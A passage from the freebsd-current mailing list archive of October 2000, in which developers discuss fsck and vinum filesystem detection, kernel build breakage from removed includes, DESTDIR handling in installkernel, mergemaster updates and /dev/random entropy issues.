those -I paths, it is hard to tell where includes are found. The -I${.CURDIR}/../../sys hack is particularly evil. It makes no difference for "make world", but for plain make it causes the src-relative version of to be found, but there is no hack to find the src-relative version of so the installed version gets used. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 21:54:57 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 821) id C7A6937B4C5; Sun, 29 Oct 2000 21:54:54 -0800 (PST) Date: Sun, 29 Oct 2000 21:54:54 -0800 From: "John W. De Boskey" To: Current List Cc: Adrian Chadd Subject: vinum & fsck wrappers strangeness Message-ID: <20001029215454.A60321@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I ran into an interesting gotcha with fsck and vinum... I have the following line in /etc/fstab: /dev/vinum/raid5 /pub ufs rw 2 2 and during an upgrade (old current to current), I commented the line out during the reboot process. After bringing the new system online, I executed: /sbin/fsck -y /dev/vinum/raid5 and received the following error: fsck: exec /usr/sbin/fsck_unused for /dev/vinum/raid5: No such file or directory Knowing that I've been able to fsck this volume in the past I checked for a vinum specific fsck binary. Nothing there. It then occurred to me it's a ufs volume, and I've always fsck'd it by mount point. I then uncommented the line in /etc/fstab and executed: /sbin/fsck -y /pub and it worked correctly. After the above (with the /etc/fstab line uncommented), I re-executed:o /sbin/fsck -y /dev/vinum/raid5 and it worked correctly. So, it appears that fsck is attempting to determine a file system type, tries to use /etc/fstab, and then falls back to a secondary scheme. In the secondary scheme, ufs is what we want, but vinum is what we're getting. If anyone has any information about this please let me know. I'll try to look into it tomorrow. Thanks, John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 22:13:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from pozo.com (pozo.com [216.101.162.50]) by hub.freebsd.org (Postfix) with ESMTP id D3B8B37B479 for ; Sun, 29 Oct 2000 22:13:48 -0800 (PST) Received: from dual.pozo.com (dual.pozo.com [216.101.162.51]) by pozo.com (8.11.1/8.11.1) with ESMTP id e9U6DmF09247 for ; Sun, 29 Oct 2000 22:13:48 -0800 (PST) (envelope-from null@pozo.com) Message-Id: <5.0.0.25.2.20001029221237.00a5aa28@pozo.com> X-Sender: null@pozo.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Sun, 29 Oct 2000 22:13:47 -0800 To: current@freebsd.org From: Manfred Antar Subject: Current Kernel build broken Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From latest sources: cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -g -nostdinc -I- -I. -I../.. -I../../../include -I../../contrib/dev/acpica/Subsystem/Include -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 ../../ufs/ufs/ufs_vfsops.c ../../ufs/ufs/ufs_vfsops.c: In function `ufs_quotactl': ../../ufs/ufs/ufs_vfsops.c:119: warning: implicit declaration of function `suser_xxx' ../../ufs/ufs/ufs_vfsops.c:119: `PRISON_ROOT' undeclared (first use in this function) ../../ufs/ufs/ufs_vfsops.c:119: (Each undeclared identifier is reported only once ../../ufs/ufs/ufs_vfsops.c:119: for each function it appears in.) *** Error code 1 ================================== || null@pozo.com || || Ph. (415) 681-6235 || ================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 22:38:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 6373A37B479; Sun, 29 Oct 2000 22:38:39 -0800 (PST) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id RAA07515; Mon, 30 Oct 2000 17:38:34 +1100 Date: Mon, 30 Oct 2000 17:38:21 +1100 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: "John W. De Boskey" Cc: Current List , Adrian Chadd Subject: Re: vinum & fsck wrappers strangeness In-Reply-To: <20001029215454.A60321@FreeBSD.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 29 Oct 2000, John W. De Boskey wrote: > I ran into an interesting gotcha with fsck and vinum... > > I have the following line in /etc/fstab: > > /dev/vinum/raid5 /pub ufs rw 2 2 > > and during an upgrade (old current to current), I commented the > line out during the reboot process. After bringing the new system > online, I executed: > > /sbin/fsck -y /dev/vinum/raid5 > > and received the following error: > > fsck: exec /usr/sbin/fsck_unused for /dev/vinum/raid5: No such file or directory I saw a related problem with mfs. I had the following lines in /etc/fstab: --- #/dev/ad0s4 none swap sw /dev/ad0s4 /tmp mfs rw,-s65536,-i8192,noatime,noauto --- The mfs line has very little to do with /dev/ad0s4 or swap. The label for /dev/ad0s4 just provides a (bogus) geometry for mfs. I wasn't using /dev/ad0s4 for either swap or mfs, but it happened to have a filesystem on it, and when I tried to fsck this, fsck attempted to exec the nonexistent file fsck_mfs. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 0:18: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from roaming.cacheboy.net (gate.interxion.com [194.153.74.13]) by hub.freebsd.org (Postfix) with ESMTP id BF69437B479 for ; Mon, 30 Oct 2000 00:17:56 -0800 (PST) Received: (from adrian@localhost) by roaming.cacheboy.net (8.11.0/8.11.0) id e9U8GLt29810 for freebsd-current@freebsd.org; Mon, 30 Oct 2000 09:16:21 +0100 (CET) (envelope-from adrian) Date: Mon, 30 Oct 2000 09:15:00 +0100 From: Adrian Chadd To: freebsd-current@freebsd.org Subject: make DESTDIR=foo failing in installkernel ? Message-ID: <20001030091500.A29598@roaming.cacheboy.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I can't be the only person who is trying to do this :) I have my laptop with two BSD partitions - one active, and one for the most current -current. (Its running -current from a couple months ago.) So, I do the following: roaming# cat crash-buildworld.sh #!/bin/sh DESTDIR=/crash ; export DESTDIR MAKEOBJDIRPREFIX=/crash ; export MAKEOBJDIRPREFIX cd /crash/usr/src make buildworld && make installworld make buildkernel && make installkernel now, besides needing to copy GENERIC.hints to /crash/boot/device.hints, this should work, right ? Unfortunately, I get this error: mkdir -p /crash/boot/kernel install -c -m 555 -o root -g wheel -fschg kernel /crash/boot/kernel cd /crash/usr/src/sys/modules && env MAKEOBJDIRPREFIX=/usr/obj/crash/usr/src/sys/GENERIC/modules KMODDIR=/crash/boot/kernel make install ===> 3dfx install -c -o root -g wheel -m 555 3dfx.ko /crash/crash/boot/kernel install: /crash/crash/boot/kernel: No such file or directory *** Error code 71 Now, in src/sys/conf/kmod.mk, is this bit of magic: realinstall: _SUBDIR ${INSTALL} ${COPY} -o ${KMODOWN} -g ${KMODGRP} -m ${KMODMODE} \ ${_INSTALLFLAGS} ${PROG} ${DESTDIR}${KMODDIR} KMODDIR includes DESTDIR from what I can see, in /usr/obj/crash/usr/src/sys/GENERIC/Makefile : MKMODULESENV= MAKEOBJDIRPREFIX=${.OBJDIR}/modules KMODDIR=${DESTDIR}${KODIR} To be triple-sure, i did a make install in /usr/src/share/mk/ to update my mkfiles, but that still hasn't helped. Any clues? Adrian -- Adrian Chadd "Programming is like sex: One mistake and you have to support for a lifetime." -- rec.humor.funny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 0:57:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 6F75937B4C5 for ; Mon, 30 Oct 2000 00:57:26 -0800 (PST) Received: from vic.sabbo.net (root@vic.sabbo.net [193.193.218.109]) by blizzard.sabbo.net (8.10.1/8.10.1) with ESMTP id e9U8xC731104; Mon, 30 Oct 2000 10:59:13 +0200 Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.11.0/8.9.3) with ESMTP id e9U8vIM03901; Mon, 30 Oct 2000 10:57:18 +0200 (EET) (envelope-from sobomax@FreeBSD.org) Message-ID: <39FD37EC.730E1EFE@FreeBSD.org> Date: Mon, 30 Oct 2000 10:57:16 +0200 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Mark Murray Cc: current@FreeBSD.org Subject: Re: /dev/random related mouse jerkiness is again here References: <39F98CAF.39AF66B4@FreeBSD.org> <200010271707.e9RH72x01467@grimreaper.grondar.za> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mark Murray wrote: > > I wonder if anyone noticed that mouse jerkiness caused by entropy > > harvesting routine is here again (both in syscons and X11), although > > it was expected to be solved by kthreads, at least on my poor old P133 > > with PS/2 mouse. > > You say "here again". Was there a time that it went away with kthreads? Huh, I really don't know for sure, because lately I have not followed -current very closely (SMPng stability issues, you know), but I heard from someone that some not-so-distant snapshot doesn't exhibit this misbehaviour. Could I suggest that we provide some sysctl to disable entropy harvesting in syscons mouse code at least until you will solve it properly? -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 3:39:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 5480037B479; Mon, 30 Oct 2000 03:39:38 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id DAA06124; Mon, 30 Oct 2000 03:39:33 -0800 (PST) (envelope-from obrien) Date: Mon, 30 Oct 2000 03:39:33 -0800 From: "David O'Brien" To: Adrian Chadd Cc: freebsd-current@freebsd.org Subject: Re: make DESTDIR=foo failing in installkernel ? Message-ID: <20001030033933.A6106@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20001030091500.A29598@roaming.cacheboy.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20001030091500.A29598@roaming.cacheboy.net>; from adrian@freebsd.org on Mon, Oct 30, 2000 at 09:15:00AM +0100 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Oct 30, 2000 at 09:15:00AM +0100, Adrian Chadd wrote: > cd /crash/usr/src/sys/modules && env > MAKEOBJDIRPREFIX=/usr/obj/crash/usr/src/sys/GENERIC/modules > KMODDIR=/crash/boot/kernel make install Don't explicitly add DESTDIR to KMODDIR. -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 3:54:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from dt051n37.san.rr.com (dt051n37.san.rr.com [204.210.32.55]) by hub.freebsd.org (Postfix) with ESMTP id 5C23A37B4C5 for ; Mon, 30 Oct 2000 03:54:49 -0800 (PST) Received: from gorean.org (Studded@master [10.0.0.2]) by dt051n37.san.rr.com (8.9.3/8.9.3) with ESMTP id DAA71011 for ; Mon, 30 Oct 2000 03:54:48 -0800 (PST) (envelope-from DougB@gorean.org) Message-ID: <39FD6188.6CDEF271@gorean.org> Date: Mon, 30 Oct 2000 03:54:48 -0800 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.75 [en] (X11; U; FreeBSD 5.0-CURRENT-102 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-current@freebsd.org Subject: Mergemaster changes Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Not quite a head's up worthy event, but I thought people would like to know about some of this, and unfortunately we all know not everyone running -current reads cvs-all. The one change that isn't listed in the commit message that people might be interested in is the fact that mm is now doing: cd ${SOURCEDIR}/usr/src/etc && make DESTDIR=${DESTDIR} distrib-dirs in order to prime the destination path with directories of the appropriate permissions. In testing I uncovered what I consider to be a bug in 'install,' namely that doing 'install -d -m 0755 -o root -g wheel /foo/bar/baz' will create baz with the right permissions, but will not use the permissions specified for 'bar' if it does not exist already. I'm going to look into this tomorrow, but meanwhile doing the mtree (which is basically what distrib-dirs does) seemed reasonable, especially since 'make installworld' takes that _exact_ step. I've left the directory installation code in, as it doesn't hurt to be extra safe. This will only be a problem for people who've made dramatic changes to their system. The good news is that if you have made such changes, you can write a script that repeats the process and have mm run it as MM_EXIT_SCRIPT. The details are in the man page. For users who may have been waiting to be able to specify a list of files for mm to delete without comparing first, MM_PRE_COMPARE_SCRIPT is your answer. You can now write your own script to do whatever you think is appropriate before the comparison starts. As mentioned previously, I will not be adding the feature to delete specific files without comparison. Please feel free to offer feedback on the changes. Assuming that things go according to plan monday and tuesday, I will be testing this thoroughly while I do some RELENG_4 upgrades at work, so assuming all goes well I plan to MFC these changes before the freeze. The last set of features currently on the project list is to implement using CVS as a reference for diffs, and as a way to further automate upgrades. It will be a couple of weeks at least before I have a version of this ready to go. Enjoy, Doug -------- Original Message -------- Subject: cvs commit: src/usr.sbin/mergemaster mergemaster.sh mergemaster.8 Date: Mon, 30 Oct 2000 02:33:51 -0800 (PST) From: Doug Barton To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org dougb 2000/10/30 02:33:51 PST Modified files: usr.sbin/mergemaster mergemaster.sh mergemaster.8 Log: Add several new features, reorder some code, and continue with the process of making the script more cross platform friendly. * Add -i option to automatically install files that do not exist on the system already. * Add the ability to specify DESTDIR. * Allow the user to specify scripts to run right before the comparison starts, and when mm is done. This will allow the user to specify customized local behavior, and implement features such as automatically deleting files. * Document the above changes in the man page. * Switch to using 'ident' for the CVS Id comparison, which should help with portability, and makes it faster. * Reorder, and in one case fix some code by doing things in ways that make more sense. * Check to see if the file exists on the system before doing the comparisons. This saves CPU cycles, and streamlines the auto-install process. I used bits and pieces of suggestions and patches from various people, ultimately too numerous to name. Which is not to say that they were not both appreciated, and helpful in achieving the ultimate result. Revision Changes Path 1.14 +137 -92 src/usr.sbin/mergemaster/mergemaster.sh 1.8 +59 -7 src/usr.sbin/mergemaster/mergemaster.8 http://www.FreeBSD.org/cgi/cvsweb.cgi/src/usr.sbin/mergemaster/mergemaster.sh.diff?&r1=1.13&r2=1.14 http://www.FreeBSD.org/cgi/cvsweb.cgi/src/usr.sbin/mergemaster/mergemaster.8.diff?&r1=1.7&r2=1.8 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 6:16:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from shidahara1.planet.sci.kobe-u.ac.jp (shidahara1.planet.sci.kobe-u.ac.jp [133.30.50.200]) by hub.freebsd.org (Postfix) with ESMTP id 97CC137B4CF; Mon, 30 Oct 2000 06:16:40 -0800 (PST) Received: from shidahara1.planet.sci.kobe-u.ac.jp (localhost [127.0.0.1]) by shidahara1.planet.sci.kobe-u.ac.jp (8.9.3/8.9.3) with ESMTP id XAA01311; Mon, 30 Oct 2000 23:15:49 +0900 (JST) (envelope-from takawata@shidahara1.planet.sci.kobe-u.ac.jp) Message-Id: <200010301415.XAA01311@shidahara1.planet.sci.kobe-u.ac.jp> To: Tatsumi Hosokawa , n_hibma@FreeBSD.ORG, wpaul@FreeBSD.ORG Cc: current@FreeBSD.ORG Subject: Re: "Driver Floppy" implementation (Re: "make release" breakage - dokern.sh patch 2) In-reply-to: Your message of "Sun, 29 Oct 2000 18:40:18 JST." <86em10t27x.wl@ringo.FromTo.Cc> Date: Mon, 30 Oct 2000 23:15:49 +0900 From: Takanori Watanabe Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <86em10t27x.wl@ringo.FromTo.Cc>, Tatsumi Hosokawa $B$5$s$$$o$/(B: > >I moved PCI/PCCARD/USB if_xx.ko driver to mfsroot.flp, and I've got >100KB of free blocks in the first floppy. If we move more drivers to >mfsroot.flp or coming drivers.flp, we can get not only free blocks in >the first floppy, but also more installation devices. Just FYI: If usb itself is module-ifed, USB ether modules cannot be load until MODULE_DEPEND,MODULE_VERSION is defined. Takanori Watanabe Public Key Key fingerprint = 2C 51 E2 78 2C E1 C5 2D 0F F1 20 A3 11 3A 62 2A To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 6:27:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 4DC8637B479 for ; Mon, 30 Oct 2000 06:27:45 -0800 (PST) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id PAA02336 for ; Mon, 30 Oct 2000 15:27:38 +0100 (MET) Date: Mon, 30 Oct 2000 15:27:38 +0100 (CET) From: Harti Brandt To: current@freebsd.org Subject: hea and hfa drivers do not compile... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ... in CURRENT from 30.10. phk has removed unnecessary #defines, among them which is definitely needed in both drivers. Adding the # include fixes the problem. netatm/atm{aal5,cm,device,subr} compile, but the kernel doesn't link - they need the include also. harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.gmd.de, harti@begemot.org, lhbrandt@mail.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 6:30:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from pcimedia.com (unknown [204.116.106.190]) by hub.freebsd.org (Postfix) with ESMTP id D276037B4C5 for ; Mon, 30 Oct 2000 06:30:29 -0800 (PST) Received: from [63.85.104.2] (HELO miller01) by pcimedia.com (CommuniGate Pro SMTP 3.1) with SMTP id 273094 for current@FreeBSD.org; Mon, 30 Oct 2000 08:34:13 -0600 Reply-To: From: "John Miller" To: Subject: subscribe Date: Mon, 30 Oct 2000 08:29:55 -0600 Message-ID: <000d01c0427d$dfa48420$3200000a@miller01> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Miller Pedigo Consulting, Inc. Morrison, TN 931-668-1960 / 888-867-0745 JohnMiller@pcimedia.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 6:32:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from darren2.lnk.telstra.net (darren2.lnk.telstra.net [139.130.53.33]) by hub.freebsd.org (Postfix) with ESMTP id 3138237B4CF for ; Mon, 30 Oct 2000 06:32:09 -0800 (PST) Received: (from root@localhost) by darren2.lnk.telstra.net (8.11.0/8.11.0) id e9UEW1B07485; Tue, 31 Oct 2000 01:32:01 +1100 (EST) From: Darren Reed Message-Id: <200010301431.BAA26320@avalon.reed.wattle.id.au> Subject: Re: Multiply defined 'struct mtx' ? In-Reply-To: from Bruce Evans at "Oct 30, 0 04:23:20 pm" To: bde@zeta.org.au (Bruce Evans) Date: Tue, 31 Oct 2000 01:31:40 +1100 (EST) Cc: bmilekic@dsuper.net, current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL37 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In some email I received from Bruce Evans, sie wrote: [...] > Your is apparently out of date. With all those -I > paths, it is hard to tell where includes are found. The > -I${.CURDIR}/../../sys hack is particularly evil. It makes no difference > for "make world", but for plain make it causes the src-relative version > of to be found, but there is no hack to find the src-relative > version of so the installed version gets used. So when will ref5 be updated ? :-) Anyone ? Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 7:29:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id 1036537B4C5 for ; Mon, 30 Oct 2000 07:29:03 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id e9UFRgu03164; Mon, 30 Oct 2000 16:27:42 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Harti Brandt Cc: current@FreeBSD.ORG Subject: Re: hea and hfa drivers do not compile... In-Reply-To: Your message of "Mon, 30 Oct 2000 15:27:38 +0100." Date: Mon, 30 Oct 2000 16:27:42 +0100 Message-ID: <3162.972919662@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Hart i Brandt writes: > >... in CURRENT from 30.10. phk has removed unnecessary #defines, among >them which is definitely needed in both drivers. Adding the ># include fixes the problem. > >netatm/atm{aal5,cm,device,subr} compile, but the kernel doesn't link - >they need the include also. You are confusing my changes with the current acpi related breakage. strip these lines out of NOTES: device acpi options ACPI_DEBUG options AML_DEBUG And the LINT kernel links just fine. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 8:56:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id BA67037B4CF for ; Mon, 30 Oct 2000 08:56:51 -0800 (PST) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id RAA05090; Mon, 30 Oct 2000 17:53:27 +0100 (MET) Date: Mon, 30 Oct 2000 17:53:27 +0100 (CET) From: Harti Brandt To: Poul-Henning Kamp Cc: current@FreeBSD.ORG Subject: Re: hea and hfa drivers do not compile... In-Reply-To: <3162.972919662@critter> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 30 Oct 2000, Poul-Henning Kamp wrote: > In message , Hart > i Brandt writes: > > > >... in CURRENT from 30.10. phk has removed unnecessary #defines, among > >them which is definitely needed in both drivers. Adding the > ># include fixes the problem. > > > >netatm/atm{aal5,cm,device,subr} compile, but the kernel doesn't link - > >they need the include also. > > You are confusing my changes with the current acpi related breakage. > > strip these lines out of NOTES: > > device acpi > options ACPI_DEBUG > options AML_DEBUG > > And the LINT kernel links just fine. Probably not. I have no acpi configured in my kernel. cvs log on eni.c says: Remove 86 unneeded #includes on revision 1.15 A cvs diff shows, that with this change #include is gone which defines things like DELAY, bcopy, ... If I add the include everything compiles fine. harti > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD committer | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.gmd.de, harti@begemot.org, lhbrandt@mail.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 8:59:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id E115C37B4C5 for ; Mon, 30 Oct 2000 08:59:49 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id e9UGxmu03863; Mon, 30 Oct 2000 17:59:48 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Harti Brandt Cc: current@FreeBSD.ORG Subject: Re: hea and hfa drivers do not compile... In-Reply-To: Your message of "Mon, 30 Oct 2000 17:53:27 +0100." Date: Mon, 30 Oct 2000 17:59:48 +0100 Message-ID: <3861.972925188@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Hart i Brandt writes: >> strip these lines out of NOTES: >> >> device acpi >> options ACPI_DEBUG >> options AML_DEBUG >> >> And the LINT kernel links just fine. > >Probably not. I have no acpi configured in my kernel. cvs log on eni.c >says: > >Remove 86 unneeded #includes > >on revision 1.15 > >A cvs diff shows, that with this change #include is gone >which defines things like DELAY, bcopy, ... If I add the include >everything compiles fine. Can you send me your kernel config file ? LINT compiles here and it includes all of our ATM code as far as I know, there must be some option which makes this interract strangely... -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 9:32:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id 3A90B37B4CF for ; Mon, 30 Oct 2000 09:32:25 -0800 (PST) Received: from localhost (cshumway@localhost) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id e9UHUtR73165; Mon, 30 Oct 2000 09:30:55 -0800 (PST) (envelope-from cshumway@osd.bsdi.com) Date: Mon, 30 Oct 2000 09:30:55 -0800 (PST) From: Christopher Shumway To: Darren Reed Cc: Bruce Evans , bmilekic@dsuper.net, current@FreeBSD.ORG Subject: Re: Multiply defined 'struct mtx' ? In-Reply-To: <200010301431.BAA26320@avalon.reed.wattle.id.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 31 Oct 2000, Darren Reed wrote: > In some email I received from Bruce Evans, sie wrote: > [...] > > Your is apparently out of date. With all those -I > > paths, it is hard to tell where includes are found. The > > -I${.CURDIR}/../../sys hack is particularly evil. It makes no difference > > for "make world", but for plain make it causes the src-relative version > > of to be found, but there is no hack to find the src-relative > > version of so the installed version gets used. > > So when will ref5 be updated ? :-) Anyone ? > > Darren I'll update it and ref4 today... Automating this task has been on my to-do list for a bit now.. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 30 10:24: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (okc-27-149-77.mmcable.com [24.27.149.77]) by hub.freebsd.org (Postfix) with SMTP id 98E8937B479 for ; Mon, 30 Oct 2000 10:24:00 -0800 (PST) Received: (qmail 27765 invoked by uid 100); 30 Oct 2000 18:23:51 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14845.48311.525835.795821@guru.mired.org> Date: Mon, 30 Oct 2000 12:23:51 -0600 (CST) To: current@freebsd.org Subject: /dev/random thoughts X-Mailer: VM 6.75 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Like everyone else, I've been bit by /dev/random blocking because it didn't have enough entropy. I recently got bit after booting the system single-user to do some work, meaning nothing in the discussion about when/where/how to deal with the entropy information addressed this one. It seems like we're being a bit paranoid about things - arguments about that not being possible notwithstanding. I mean - if I mount a few dozen file systems using inode numbers drawn from a PRNG instead of being cryptographic quality, then *quit using the PRNG*, how much extra 